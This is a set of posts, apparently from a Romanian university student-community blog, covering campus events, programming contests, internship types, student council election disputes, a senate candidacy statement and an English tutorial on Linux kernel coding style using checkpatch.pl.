Pe 22 martie 2012, în sala EG301 a avut loc o prezentare despre Google Summer of Code, susținută de foști participanți în cadrul programului: Mihnea Dobrescu-Balaur, Vicențiu Ciorbaru, Matei Păvălucă, Casian Andrei, Alex Eftimie și Andrei Bogdan.

Pe lângă sfaturi și informații generale, aceștia au vorbit despre experiența lor în cadrul GSoC. Pe pagina evenimentului găsiți continuarea discuțiilor și aplicațiile studenților din Universitatea POLITEHNICA din București (cea mai mare parte din cadrul Facultății de Automatică și Calculatoare) care au participat în alți ani.

Au fost prezenți în jur de 90 de studenți. Cei mai activi în cadrul discuțiilor au primit premii din partea Google.

Studenții și-au arătat interesul spre a participa la ediția curentă a Google Summer of Code. Pentru mai multe detalii, puteți accesa site-ul programului.

Puteți găsi online atât poze de la eveniment, cât și slide-urile prezentării în format PDF.

Vă invităm să aplicați!

Facultatea de Automatică și Calculatoare a fost reprezentată cu succes în cadrul ediției 2012 a concursului robochallange, etapa locală.

Echipe de studenți care se pregătesc în cadrul centrului de performanță nou creat, InGeAR, au obținut:

- locurile I, III, IV la categoria Sumo

Prima prezentare din noua sesiune de Tech Talks va avea ca subiect central tehnologiile Mozilla.

Valentin Goșu ne va vorbi despre tehnologiile Mozila, punctele cheie ale prezentării fiind:

* add-ons
* Firefox core – cum se contribuie la core
* boot2gecko – live demos, bugs

Aşadar, va aşteptam în număr cât mai mare joi, 29 martie, de la ora 18, în sala EG106a.

Be there or be square!

Scurt post cu câteva detalii organizatorice despre concursul din 2012.

Întâi, am renunțat la track-ul advanced. Va fi scos ca un alt concurs ceva mai târziu.

Doi, am stabilit premiile pentru concurs. Vor fi 3 premii, pentru (well) primii 3 clasați. Acestea vor consta în cărți, tricouri imprimate cu mesaje potrivite și puzzle-uri challenging după cum au fost și vor fi unele din problemele de aici. Nu zic cum sunt distribuite și conținutul exact pentru că nu vreau să spoilez totul. Veți afla în iunie.

Până atunci, nu uitați să rezolvați problemele. Sunt 5 deja, destul de diverse: 1, 2, 3, 4, 5.  Conform clasamentului, problema 2 e cea mai lejeră. Conform mie problema 5 e așa :P Cea mai grea din cele de până acum pare a fi 1 deși e mai simplă decât 3.

Spor :D

Anul acesta, impreuna cu invitatia de a va inscrie la stagiile propuse de catre companiile IT&C din tara pentru voi, va lansam si invitatia de a scrie pe blogul Stagii pe Bune pentru a ne impartasi experienta voastra avuta la un stagiu si modul in care aceasta v-a ajutat in cariera. Intrucat ne aflam la a 8a editie a SPB, ar trebui sa avem deja un numar rezonabil de “alumni” care au urmat un stagiu pe bune in aceasta perioada.  Insa invitatia noastra este deschisa oricarui fost stagiar, inclusiv a celor care au facut un internship in afara tarii sau au gasit un stagiu fara sa foloseasca SPB.

Prin aceasta initiativa, vrem sa convingem cat mai multi dintre studenti ca stagiile sunt utile, chiar daca practica nu este obligatorie pentru anul lor de studii. Mai mult, ne dorim sa evidentiem faptul ca poti castiga experienta profesionala si fara a te angaja full-time din timpul facultatii. Pe de alta parte, fara stagii de practica este destul de greu sa gasesti un post bun cand termini facultatea datorita lipsei de experienta. Imbinand facultatea cu stagiile de practica ai ocazia sa nu iti neglijezi studiile si totusi sa ai un CV interesant pentru angajatori la finalul facultatii.

Pentru a scrie un articol pe blogul nostru va rugam sa trimiteti un mail catre contact [at] stagiipebune [punct] ro, mail care sa contina articolul sau un link catre el

Din cand in cand suntem rugati in general de firme care n-au mai implementat programe de stagiatura sa le spunem cam ce ar putea sa faca studentul la un stagiu.

In acel moment le ofer urmatorul bilant bazat pe observatiile si discutiile avute cu un numar mare de firme in ultimii ani.

Noi am identificat 4 tipuri de stagii pe care le prezint mai jos impreuna cu avantajele si dezavantajele lor din punctul de vedere al studentilor si al firmelor

a. stagiu pur educational. Se construieste un sandbox si studentilor li se da un proiect-joaca. Studentii trec prin multe din tehnologiile firmei, lucreaza intr-o echipa, isi organizeaza taskurile, fac/propun alegeri de design, construiesc un produs trecand prin toate etapele si invatand foarte mult. Produsul nu este neaparat util firmei insa adaptarea studentilor la tehnologii si la mai multe sau chiar toate etapele din procesul de dezvoltare poate sa fie foarte util. Sunt in general stagiile cel mai prost platite (firma deja investeste mult si nu obtine efectiv profit) si au cea mai mare valoare educationala.

b. small research. Se formuleaza o tema de research pe care managerul nu are timp sa o investigheze. Tema nu este prioritara pentru firma dar ar putea sa reprezinte o solutie in viitor. Studentul/studentii analizeaza problema, studiaza tehnologiile, realizeaza o aplicatie demo, o prezinta in fata echipei. Aceste tipuri de stagii se preteaza mai ales in companiile care au o componenta importanta de R&D. Prin aceste stagii se pot investiga si aspecte ca spiritul inovativ al studentului, capacitatea de a face cercetare, de a veni cu idei noi si de a le valida.

c. aplicatie interna. Studentii sunt asignati sa lucreze pentru o aplicatie interna a echipei. Aplicatia nu este customer oriented si nu are o prioritate mare. Se realizeaza o aplicatie utila firmei si studentii se acomodeaza cu tehnologii care sunt utilizate si in restul aplicatiilor.

d. productie. Studentului ii este prezentata o aplicatie, este familiarizat cu tehnologia si este introdus in productie la fel ca un junior. Taskuri tipice sunt rezolvarea de buguri sau adaugarea de noi feature-uri simple. Aceste stagii sunt in general cel mai bine platite deoarece produc valoare pentru firma dar au si in general cel mai mic continut educational.

Daca ati intalnit/organizat si alte tipuri de stagii va rugam sa lasati un comentariu si sa ne povestiti despre ele.

“ALL ANIMALS ARE EQUAL,
BUT SOME ARE MORE EQUAL THAN OTHERS“
George Orwell – “Animal Farm“

E interesantă opera lui Orwell. Recomand oricui să citească 1984 și Animal Farm, sunt lecturi foarte interesante și chiar de actualitate pentru epoca noastră. Mai ales acum, în febra alegerilor diverse de la noi din facultate.

Până sărim gardul toți fac diverse propuneri, diverse promisiuni, diverse realizări. Chiar deschidem biblioteci noi, organizăm evenimente noi, cerem feedback, etc. Poate dacă s-ar face alegeri în fiecare an lucrurile ar progresa spre mai bine cu un ritm destul de alert cât să fie vizibil și nu obositor (dacă progresul obosește vreodată pe cineva).

Dar asta e despre alegerile din comitetele și comițiile în care participă profesorii și asistenții. Nu am multe informații și nici nu vreau să mă bag în acest subiect. Măcar acolo fiecare a venit cu un plan de activitate pe viitor.

În schimb, în ilegalul nou consiliu al studenților s-a votat doar o listă de oameni și atât. Din ce am înțeles într-un proces plin de ilegalități. Degeaba am încercat sa cred că lucrurile se schimbă în mai bine, tot cu stângul au început și acum. Poate peste câteva zile, după ce vor fi acceptați — pentru că nu văd aproape nici un profesor din actualul consiliu nu s-ar pune împotriva unor persoane alese pe motive politice în alte foruri de conducere ale facultății — vor merge și ei pe drumul cel bun și vor reprezenta interesele studenților mult mai mult decât cei de până acum. Nici nu e greu dar nu vreau să intru în discuția asta, mi-am aprins deja destule paie în cap cu articolul de ieri, cu comentariile de ieri și de azi și cu aceste paragrafe :P I can handle them for now.

Vreau să ajung la altceva. Citiți cu atenție Animal Farm și veți vedea că tot ce e acolo s-a întâmplat zilele astea la noi în facultate. De fapt, dacă mă gândesc bine, și al nostru Caragiale avea o poveste cu ceva scrisori și alegeri ilegale. Trădare, trădare dar s-o știm și noi.

Faptul că un oarecare președinte al unei organizații care ar trebui să reprezinte toți studenții din țară și era responsabil cu buna organizare a alegerilor a amenințat cu bătaia câțiva studenți care făceau poze unor urne nesigilate cred că este un caz destul de grav. Dar nu la noi în țară, noi putem continua și așa. Că doar Napoleon e mare și tare, vorba lui Boxer. Și chiar dacă ne certăm și încercăm să scoatem adevărul la iveală, doar unii vor avea dreptate, alții trebuie să-și coloreze nasul într-o culoare cafenie și alții trebuie s-o încaseze rău. Jungla asta politică joacă după alte reguli.

Să nu sfârșească și studenții ca Boxer. Sau — chiar dacă e puțin mai bine — să nu ajungă și ei la final să zică «I had won the victory over myself. I love Big Brother»

PS: înțelegeți ce vreți, nu vreau să critic nimic dar nici nu mai am atât de multă încredere în noua conducere a LSAC cât am avut ieri. Din greșeală și greșeală se construiește o imagine urâtă de cât mai mulți care o văd, chiar dacă poate unii aveau intenții bune.

PPS: Puteam s-o dau cu struțo-cămile dar e de alt autor și nu se prea leagă de celelalte 2 opere. Sper să nu ajungem la un doublespeak prin facultate.

PPPS: Scuze că am tot spamat grupul celor de an 1 dar era singurul loc unde toate părțile implicate aveau acces :P Plus că mereu cei de anul 1 au cel mai mult de aflat despre ce se întâmplă în anumite locuri din facultate :)

PPPPS: Dacă cineva crede că ăsta e articol prea critic, așteptați să ajung din nou la capacitatea maximă — va urma un articol despre acest fail — și veți vedea ce înseamnă un articol critic aici pe blog. Sau citiți ceva mai în spate, cam acum 5-6 luni sau mai mult, mi-e cam lene să caut link acum. Cele 2 de pe wikipedia și articolul anterior ajung pentru moment.

Nu avem voie să fim spectatori la ce ni se întâmplă.

All that is necessary for the triumph of evil is that good men do nothing.

Inițial trebuia să fie un articol care anunța iar o nouă ilegalitate în Poli: se realeg membrii consiliului studenților deși mandatul celor care sunt acum nu a expirat. Asta era dimineață pe la prânz când a apărut ideea acestui articol. Între timp, lucrurile s-au mai schimbat.

În principiu, există susținători și critici pentru ambele consilii: cel care va fi ales mâine și cel ales din noiembrie. În unele cazuri chiar s-au adus în discuțiile aprinse motive false, chiar s-a ajuns de câteva ori și la mud slinging (scuze pentru calomniile sau lucrurile reale dar neplăcute pe care le-am adus la lumină). Uneori chiar și împotriva unor persoane care se aflau la locul nepotrivit în momentul nepotrivit. Cam așa se întâmplă când oameni cu păreri puternice au puncte de vedere destul de opuse dar orientate spre același lucru.

Pentru că în cele din urmă s-a ajuns la un compromis, am realizat că ambele părți aveau cam același interes și că până la urmă lucrurile au evoluat față de anii trecuți. Sper ca viitorii membri din consiliul studenților să-i reprezinte foarte bine pe aceștia, nu ca cei de până acum 1-2 mandate :)

În plus, discuția de azi mi-a mai adus la vedere un aspect. LSAC nu mai e chiar ce era odată. Și e un lucru bun, acum promit să reprezinte studenții mai bine și să facă lucruri mai multe decât alegeri și fun-things. Sper să fie real. M-am abonat la feed-ul de pe site-ul lor și-i voi urmări o bucată de vreme.

În cele din urmă, rezistența la o schimbare pe sub mână și discuțiile între opoziție și contra-opoziție sunt benefice dacă ambele părți pot să facă și ceva compromisuri.

Articolul trebuia să fie mai critic inițial, ca celelalte de până acum. Dar cum lucrurile s-au mai schimbat nu strică să schimbăm și noi foaia puțin și să evidențiem partea pozitivă :) Multă baftă în viitor și multe realizări reale pentru studenți. Atât din partea ligii cât și din partea consiliului, nu trebuie să uităm că ambele reprezintă toți studenții din facultate, nu doar pe cei dintr-un grup select cum era până acum.

Și aici ca in multe alte lucruri nu există un adevăr absolut, nu există alb și negru ci doar shades of gray.

Problema de azi este una bonus pentru un premiu special. Este nevoie de un mic script bash/python care să parseze ceva continut. Read more below.

Practic, ne trebuie un script care să parseze conținutul de pe http://rosedu.org/ro/news și să-l transforme în fișiere în format Markdown, câte unul pe articol de la news.

Concursul incepe acum și se termina miercuri (7.03.2012) seara la ora 20:00. Rezultatele joi (8.03.2012) seara la 21:00.

Premiul: un număr de maxim 3 beri (sau echivalent în suc,vin fiert, whatever) distribuit oricând pe durata acestui semestru începând cu data de 10.03.2012.

Premiul va fi oferit scriptului care va realiza o conversie cât mai eficientă, cu cât mai putine erori și bug-uri. În plus, contează calitatea codului, indentarea lui, comentariile, formatarea.

Toate submisiile vor fi făcute publice pe 9.03.2012 la ora 22:00.

Exemplu de output (pentru primul articol de pe prima versiune a site-ului ROSEdu):

---
layout: base
date: 2008-04-09
author: admin
title: Avem si blog
category: ro
---

Datorita cererilor voastre am activat functia de Blog în cadrul site-ului nostru. Deocamdată sistemul actual nu este la fel de puternic ca WordPress, să spunem, însă el foloseşte acelaşi user cu restul site-ului şi forumul şi permite o integrare mai bună. Apropo, vine şi TinyMCE în curând. Pentru a posta odată ce ai drepturi foloseşte meniul din stânga. So, happy blogging! Sergiu.

Pentru alte outpuri vizualizați continutul repo-ului versiunii viitoare a site-ului (Jekyll), în special partea de _posts.

Spor :)

PS: În caz de punctaje foarte apropiate la CP2012 este posibil ca o submisie de aici să valoreze un epsilon semnificativ în plus :)

IOIOI – evenimentul fun de deschidere a semestrului II a avut loc Vineri, 24 Februarie în holul EC al Facultății de Automatică și Calculatoare.

Eventimentul a atras peste 120 de participanți la mai mult activități fun:

• Board Games – unde s-au jucat simultan 11 jocuri! Semifinalele s-au jucat pe 7 Wonders, iar finala pe 7 Wonders: Leaders.
• Assassin’s Creed – concurs desfasurat pe 4 console XBOX
• Just Dance – un real succes ce a atras jucatori atat in timpul concursului, cat si in afara sa.
• Karaoke – muzică bună, interpretată pe diferite voci… Mai importantă decăt vocile a fost atmosfera deosebită.

În total, sponsorii evenimentului, Ubisoft si IXIA, au acordat peste 40 de premii divizate între activitățile de mai sus.

De ce imi propun sa candidez pentru Consiliul Facultății, respectiv pentru Senat?

Pentru că am convingerea că pot să-mi aduc o contribuție în ambele instituții.

Structurile de conducere ale unei universități se diferențiază de cele dintr-o companie prin faptul că sunt alese democratic. Astfel membrii structurilor de conducere au datoria să-i reprezinte pe cei care i-au ales. Acest lucru nu poate fi realizat daca lipseste comunicarea. Îmi propun să continui activitatea din ultimii 4 ani din Consiliul Facultății și să aduc la cunoștința colegilor discuțiile din Senat și din Consiliu. Comunicărea deficitara dintre Senat-Consiliu-cadre didactice-studenți este in opinia mea una din problemele actuale ale facultății. Această lipsă de comunicare face ca anumite proceduri să nu fie realizate în timp util sau să fie imposibil de implementat.

O altă problemă pe care am sesizat-o în ultimii ani a fost frecvența mare a mesajelor de tipul: am primit astăzi următorul regulament din rectorat, vă rog să vă uitați pe el pentru că mâine se votează. Cred că este de datoria reprezentanților noștri din Senat să refuze să voteze astfel de acte, să refuze transformarea Senatului într-o instituție care doar votează tot ce i se oferă fara a dezbate.

În afara atribuțiilor de comunicare intenționez să mă implic în îmbunătățirea colaborării cu companiile orientate pe R&D, atât la nivelul Universității cât mai ales la nivelul Facultății. Acest lucru cred că se poate realiza prin implementarea unor centre unice la nivelul facultăților care să se ocupe de relația cu industria într-un mod unitar, realizând proceduri și implementând în mod transparent programe de stagii, de lucrări de diplomă în co-tutelă, de cercetare la masterat/doctorat. Toate aceste colaborări trebuie comunicate atât în comunitatea academică cât și în mass-media pentru a crește prestigiul facultății noastre și pe această cale.

O a treia direcție importantă pentru mine este îmbunătățirea proceselor pedagogice. În acest domeniu mi-am susținut lucrarea de doctorat și cred că pot să-mi aduc o contribuție în grupurile de lucru ce se vor organiza în acest domeniu.

Nu în ultimul rând trebuie să ne amintim că misiunea universității este și de a pregăti oameni capabili să contribuie la ”progresul social-cultural al societatii romanesti” și de a oferi ”servicii atat pentru comunitatea proprie, cat si pentru societate” [1]. Cred că această direcție este neglijată în Universitatea noastră. Pregătim profesioniști dar nu ne preocupăm să educăm acești oameni să se implice în societate. Proiectele sociale pe care le derulează facultatea noastră se referă în general la cadouri de Crăciun sau la alte forme de ajutor pentru leagăne de copii. Cred că putem să derulăm de exemplu proiecte prin care să atragem elevii către domeniul IT-ului și cred că trebuie să ne educăm studenții pentru a participa și ei la astfel de proiecte. Intenționez să lansez un astfel de proiect în viitorul apropiat și participarea în Consiliu și în Senat m-ar ajuta să-l promovez și să-l extind.

Pentru că o astfel de candidatură nu se poate baza doar pe promisiuni si propuneri pot menționa și câteva din lucrurile pe care le-am făcut în ultimul timp și care cred eu mă recomandă pentru o astfel de poziție:

• mă ocup de 8 ani de proiectul Stagii pe Bune – probabil cel mai mare program de stagiatură din România, program de care au profitat cca. 1500 de studenți până acum și în care am menținut contacte cu peste 50 de companii din domeniul IT&C
• pornind de la acest proiect am scris împreună cu d-na profesoară Mara Mocanu unul din primele proiecte POSDRU din UPB, proiectul PACT – proiect prin care s-au îmbunătățit procedurile de practică la nivelul facultății, s-au strâns legăturile cu facultățile cu profil similar din Timișoara, Cluj și Iași, s-a dotat un laborator
• am realizat 3 ediții ale unui studiu despre primul loc de muncă al absolvenților din facultatea noastră, studii care ne pot ajuta să înțelegem mai bine profilul absolvenților noștri și ale căror rezultate au fost preluate de publicații importante din România ca Forbes sau Ziarul Financiar
• în cadrul Stagii pe Bune am derulat în 2009 un mini-proiect prin care am ajutat împreună cu studenții noștri și cu parteneri din companii un centru de copii din zona Sucevei
• am organizat în facultate împreună cu Adobe România, UberVu și Yahoo un curs referitor la Web 2.0, curs la care au participat vorbitori marcanți din industrie atât din țară cât și din afară
• am co-organizat în noiembrie 2010 în facultatea noastră prima ediție a conferinței How-to-Web. Conferința a devenit în 2012 cea mai mare conferință pe domeniul Web din Europa de Est.
• am creat prima ediție a Ghidului Bobocului din Facultatea de Automatică și Calculatoare și am gestionat împreună cu Daniel Rosner aparițiile următoare ale acestuia. În momentul de față peste 2000 de copii ale acestei broșuri au ajuns la bobocii facultății noastre iar hărțile create pentru acest ghid de Daniel au servit multor studenți și totodată multor oaspeți ai facultății noastre.
• particip la organizarea unui master european Erasmus Mundus, master prin care anul acesta 8 studenți din toate colțurile lumii au venit și au participat la cursuri în facultatea noastră
• am adus inovații din punct de vedere pedagogic. Am realizat una din primele integrări ale unei platforme Moodle în România la Facultatea de Litere în 2003-2004 și am oferit o platformă similară pentru unele din cursurile facultății noastre pe un server personal în 2005-2006. Am implementat mecanisme de feedback la laboratoarele pe care le-am ținut începând cu 2005. Am implementat proiecte de e-learning ale căror rezultate au fost publicate la conferințe internaționale și care au reprezentat baza tezei mele de doctorat.
• din punct de vedere educațional mă ocup de 2 cursuri la FILS și de 1 curs la master la ACS, țin laboratoare la anul 1 și la anul 4 la ACS. Feedback-ul studenților este pozitiv (peste 80% foarte bine sau bine)
• mentin colaborari cu institutii de invatamant din Europa – TU Delft, Ecole Polytechnique Nantes si Universite Lumiere Lyon
• am o colaborare foarte buna cu Asociatia Patronala a Industriei de Software si Servicii (ANIS) cu care am fost parteneri in cadrul proiectului PACT si care ne sustine activ în programul Stagii pe Bune
• am lansat și am participat la un curs facultativ de bridge, curs în urma căruia două din studentele facultății au reprezentat România la un Campionat European de Juniori.

1. Carta Universității Politehnica București – Capitolul 2, Misiunea și Obiectivele - http://www1.pub.ro/upb/romana/carta/cap2.html

Good programmers know that writing code is more than just… writing code. It’s more than writing efficient code… It’s also about writing good code with respect to the ones that are going to read and/or use that code. This is specially true in open source communities where potentially hundreds of people could be looking at your code. You have to write code that can be easily read and used by others. And to do that, you need some some sort of standards of code writing. This is where the idea of coding styles comes in.

Every software project has its (hopefully properly defined) coding style. It can depend a lot on the programming language that the project uses. The style can specify the indentation, the variable naming, the use of spaces or the use of curly braces.

For example, the Linux Kernel has its coding style well defined in the Documentation pages. It is based on the Kernighan & Ritchie (K&R) style, the Linux Kernel being written in C. This is a very popular coding style with several projects using it, sometimes considered the de facto coding style for C.

If you want to check if your code follows the coding style of Linux, you can use checkpatch.pl. This script can be found in the source code of the Linux Kernel in the scripts directory. It is mainly used for checking patches submitted for Linux, but it can be used on normal C source fies using the -f parameter. You need to clone the Linux tree to get the script, and you need to run it from the root of the tree.

Here is an example of badly written code:

  1 
  2 int main(void)···
  3 {
  4    int i,a;···
  5 »       »       
  6    for(i=0;i<10;i++)
  7       a=i;
  8    //this code is useless
  9    if(a==i){
 10    return 0;
 11    }
 12 
 13    return 0;
 14 }·····

Note that the · character would represent a space and » would represent a tab. Spaces would represent… spaces.

And this is what checkpatch would report:

alexj@ixmint ~/linux $ scripts/checkpatch.pl -f bad.c
ERROR: trailing whitespace
#2: FILE: bad.c:2:
+int main(void)   $

ERROR: trailing whitespace
#4: FILE: bad.c:4:
+   int i,a;   $

WARNING: please, no spaces at the start of a line
#4: FILE: bad.c:4:
+   int i,a;   $

ERROR: space required after that ',' (ctx:VxV)
#4: FILE: bad.c:4:
+   int i,a;   
	 ^

ERROR: trailing whitespace
#5: FILE: bad.c:5:
+^I^I$

WARNING: please, no spaces at the start of a line
#6: FILE: bad.c:6:
+   for(i=0;i<10;i++)$

WARNING: suspect code indent for conditional statements (3, 6)
#6: FILE: bad.c:6:
+   for(i=0;i<10;i++)
+      a=i;

ERROR: spaces required around that '=' (ctx:VxV)
#6: FILE: bad.c:6:
+   for(i=0;i<10;i++)
	 ^

ERROR: space required after that ';' (ctx:VxV)
#6: FILE: bad.c:6:
+   for(i=0;i<10;i++)
	   ^

ERROR: spaces required around that '<' (ctx:VxV)
#6: FILE: bad.c:6:
+   for(i=0;i<10;i++)
	     ^

ERROR: space required after that ';' (ctx:VxV)
#6: FILE: bad.c:6:
+   for(i=0;i<10;i++)
		^

ERROR: space required before the open parenthesis '('
#6: FILE: bad.c:6:
+   for(i=0;i<10;i++)

WARNING: please, no spaces at the start of a line
#7: FILE: bad.c:7:
+      a=i;$

ERROR: spaces required around that '=' (ctx:VxV)
#7: FILE: bad.c:7:
+      a=i;
	^

WARNING: please, no spaces at the start of a line
#8: FILE: bad.c:8:
+   //this code is useless$

ERROR: do not use C99 // comments
#8: FILE: bad.c:8:
+   //this code is useless

WARNING: please, no spaces at the start of a line
#9: FILE: bad.c:9:
+   if(a=i){$

WARNING: suspect code indent for conditional statements (3, 3)
#9: FILE: bad.c:9:
+   if(a=i){
+   return 1;

ERROR: spaces required around that '=' (ctx:VxV)
#9: FILE: bad.c:9:
+   if(a=i){
	^

ERROR: space required before the open brace '{'
#9: FILE: bad.c:9:
+   if(a=i){

ERROR: space required before the open parenthesis '('
#9: FILE: bad.c:9:
+   if(a=i){

ERROR: do not use assignment in if condition
#9: FILE: bad.c:9:
+   if(a=i){

WARNING: braces {} are not necessary for single statement blocks
#9: FILE: bad.c:9:
+   if(a=i){
+   return 1;
+   }

WARNING: please, no spaces at the start of a line
#10: FILE: bad.c:10:
+   return 1;$

WARNING: please, no spaces at the start of a line
#11: FILE: bad.c:11:
+   }$

WARNING: please, no spaces at the start of a line
#13: FILE: bad.c:13:
+   return 0$

ERROR: trailing whitespace
#14: FILE: bad.c:14:
+}     $

total: 16 errors, 11 warnings, 14 lines checked

NOTE: whitespace errors detected, you may wish to use scripts/cleanpatch or
      scripts/cleanfile

bad.c has style problems, please review.

Most of the errors are regarding whitespaces, space or tab characters that shouldn’t be there. It’s hard to spot spaces or tabs because they are invisible. But a good tip is to make them visible in your editor. Visually replacing characters will not modify the source (spaces will still be spaces) but they will pop up in your editor so you know to delete them. For example, in vi you can use this (credits to ddvlad for it):

set list listchars=tab:»\ ,trail:·,extends:»,precedes:«

Other warnings come from the fact that indentation was made with 3 spaces and not 8. Tabs and spaces should be used consistently. For example, you can set in vi the ‘width’ of a tab with:

:set tabstop=8

There are places where you don’t want spaces, but there are situations where you do want them. You should leave a space after keywords like if or for and around operators like =. Doing this makes the code a lot more readable.

Curly braces should be used, but only when needed. If an if has only one instruction to be executed on the branch, it is pointless to have braces enclosing it. Indentation is enough to mark the instruction.

Comment types are a delicate subject. The classic C specification only allows /* */ block comments. C99 allows // as one line comments. Some coding styles (like the Linux coding style) don’t allow C99 comments.

This is the way the code should look like with proper coding style:

  1 int main(void)
  2 {
  3 »       int i, a;
  4 
  5 »       for (i = 0; i < 10; i++)
  6 »       »       a = i;
  7 »       /* This code is useless */
  8 »       if (a == i)
  9 »       »       return 1;
 10 
 11 »       return 0;
 12 }

Other programing languages can have similar coding guidelines. For Python, there is PEP, as dictated by the creator of Python himself.

But we should always keep in mind that there is no One True Coding Style. Like all great debates, everybody could argue that one is better than another. What is important and everybody (mostly) agrees is to have consistency within a project in regards to the code the community writes.